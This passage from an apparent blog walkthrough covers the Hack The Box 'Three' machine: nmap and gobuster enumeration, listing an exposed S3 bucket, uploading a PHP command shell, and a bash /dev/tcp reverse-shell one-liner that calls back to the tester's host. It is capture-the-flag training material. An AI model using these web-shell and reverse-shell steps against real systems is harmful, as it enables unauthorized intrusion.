<br>Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine<br>                                        <br>Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion<br>                                        <br>Info: Establishing connection to remote endpoint<br>*Evil-WinRM* PS C:\Users\Administrator\Documents&gt;<br>```</pre><p>Next machine is <strong>Three</strong><br>Like always we will do an nmap scan.</p><pre>```bash<br>└──╼ [★]$ nmap -sC -sV -PN  10.129.232.188<br>Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-13 09:17 CDT<br>Nmap scan report for 10.129.232.188<br>Host is up (0.076s latency).<br>Not shown: 998 closed tcp ports (reset)<br>PORT   STATE SERVICE VERSION<br>22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   2048 17:8b:d4:25:45:2a:20:b8:79:f8:e2:58:d7:8e:79:f4 (RSA)<br>|   256 e6:0f:1a:f6:32:8a:40:ef:2d:a7:3b:22:d1:c7:14:fa (ECDSA)<br>|_  256 2d:e1:87:41:75:f3:91:54:41:16:b7:2b:80:c6:8f:05 (ED25519)<br>80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))<br>|_http-title: The Toppers<br>|_http-server-header: Apache/2.4.29 (Ubuntu)<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel<br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 11.27 seconds<br>```</pre><p>Exploring the website, adding the DNS of the host <strong>thetoppers.htb</strong> to /etc/hosts and doing <br>DNS enumeration with gobuster will give us new subdomain or in our case it could be one server handling multiple subdomains</p><pre>```bash<br>└──╼ [★]$ gobuster vhost -u http://thetoppers.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t4 --append-domain<br>===============================================================<br>Gobuster v3.6<br>by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)<br>===============================================================<br>[+] Url:             http://thetoppers.htb<br>[+] Method:          GET<br>[+] Threads:         4<br>[+] Wordlist:        /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt<br>[+] User Agent:      gobuster/3.6<br>[+] Timeout:         10s<br>[+] Append Domain:   true<br>===============================================================<br>Starting gobuster in VHOST enumeration mode<br>===============================================================<br>Found: s3.thetoppers.htb Status: 404 [Size: 21]<br>```</pre><p>We now know the website is being hosted as a static website in a s3 bucket, to interact with it we need to have the <strong>awscli</strong> command and set it up using <strong>aws config</strong> (putting all parameters to blank)</p><p>let&#39;s list all elements in the bucket</p><pre>```bash<br>└──╼ [★]$ aws --endpoint=http://s3.thetoppers.htb s3 ls<br>2024-08-13 09:11:11 thetoppers.htb<br>```<br>```bash<br>└──╼ [★]$ aws --endpoint=http://s3.thetoppers.htb s3 ls s3://thetoppers.htb<br>                           PRE images/<br>2024-08-13 09:11:11          0 .htaccess<br>2024-08-13 09:11:11      11952 index.php<br>```</pre><p>make a simple cmd.php which just invokes system command to our liking and upload it to the s3 bucket</p><pre>```bash<br>└──╼ [★]$ aws --endpoint=http://s3.thetoppers.htb s3 cp shell.php  s3://thetoppers.htb<br>upload: ./shell.php to s3://thetoppers.htb/shell.php  <br>```</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R9TtsG3lAVvp-O5bJ416Ig.png" /></figure><p>start an nc listener and make a simple shell.sh file that has <strong>bash -i &gt;&amp; /dev/tcp/10.10.14.84/808 0&gt;&amp;1</strong> curl it and you&#39;ll get access, you still need to upgrade to a full shell, but that is not the point of the machine</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RXbXZtmtMv6jI6TREqZtnQ.png" /></figure><pre>```bash<br>www-data@three:/var/www/html$ ls -la /var/www/flag.txt<br>ls -la /var/www/flag.txt<br>-rw-r----- 1 root www-data 33 Jul 19  2022 /var/www/flag.txt<br>www-data@three:/var/www/html$ <br>```</pre><p>The rest of the machines will be covered in <a href="https://medium.com/@azizfadhel77/htb-the-starting-point-pjpt-prep-part2-077a4d6aba34">part2</a>.</p><figure><a href="https://buymeacoffee.com/azizfadhelo"><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QCQqlZr6doDP-cszzpaSpw.png" /></a></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=738e959eb793" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>